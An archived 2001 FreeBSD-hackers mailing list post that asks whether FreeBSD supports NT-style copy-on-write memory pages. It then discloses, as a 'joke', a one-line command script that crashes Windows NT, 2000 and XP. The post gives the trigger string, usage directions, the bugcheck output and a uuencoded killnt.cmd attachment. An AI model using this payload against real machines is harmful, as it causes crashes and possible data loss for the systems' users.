From owner-freebsd-hackers Tue Nov 27 10:56:49 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from neva.sovintel.ru (neva.sovintel.ru [212.44.131.7]) by hub.freebsd.org (Postfix) with SMTP id 10B7F37B416 for ; Tue, 27 Nov 2001 10:56:44 -0800 (PST) Received: (qmail 64879 invoked from network); 27 Nov 2001 18:56:34 -0000 Received: from ppp146-spb-213-221-48.sovintel.ru (HELO a110c) (213.221.48.146) by neva.sovintel.ru with SMTP; 27 Nov 2001 18:56:34 -0000 Message-ID: <002901c17775$2f05e900$5a30ddd5@a110c> From: "Andrey Pugachev" To: Subject: Does FreeBSD support copy-on-write pages? Date: Tue, 27 Nov 2001 18:54:17 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am just curious, can FreeBSD kernel perform function called copy-on-write pages in Windows NT world? This is tricky feature of NT memory manager. When several processes (or threads) allocate identical write-enabled memory pages, system does not allocate physical memory for each process data at once. The NT kernel allocates only one copy of write-enabled memory region. But when this memory being written, system allocates memory for changed (written) pages and copies data to them. So identical write-enabled memory regions being stored in physical space (RAM/page file) only once (shared read-only .text code sections well known for ages). Each thread/process can read and write such write-enabled memory areas not bothering about concurrent access. Each process lives in its own address space and physically shared or unique pages are being mapped into this 4G (or more) linear address space. So I just curious, whether some similar feature available in FreeBSD kernel. If not, this will be not a problem. Here is a small joke -- 10 byte (1 line) NT command processor script to kill any known NT family operating system. Even C2-secure rated by NSA's TSEC("Orange Book") systems including Windows NT Workstation/Server 4.0 build 1381 (release) up to SP 6.0a, Windows 2000 and XP clones. When string "\t\b\b*" being written as a first string on new console, the whole thing dies. Depending on system configuration, NT reboots, hangs or displays "Blue Screen of Death" (BSOD): "The computer has rebooted from a bugcheck. The bugcheck was: 0xc000021a (0xe12535e8, 0xc0000005, 0x5ffc9d68, 0x00a3fa44). Microsoft Windows NT [v15.1381]. A full dump was not saved." Here is sophisticated :) Windows NT family killer just for fun and researches. Run from parent process with no console preallocated -- from GUI shell, Start\Run menu etc. The more backspaces being typed, the more NT clones being killed (it seems, backspaces overwrites valuable kernel data stored before console instance buffer): section 1 of uuencode 5.20 of file killnt.cmd by R.E.M. begin 644 killnt.cmd *0&5C:&\@"0@(*@@( ` end sum -r/size 38770/45 section (from "begin" to "end") sum -r/size 33593/10 entire input file If no task writes data in backgound, this is quite safe -- no data lost after reboot. Have fun. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message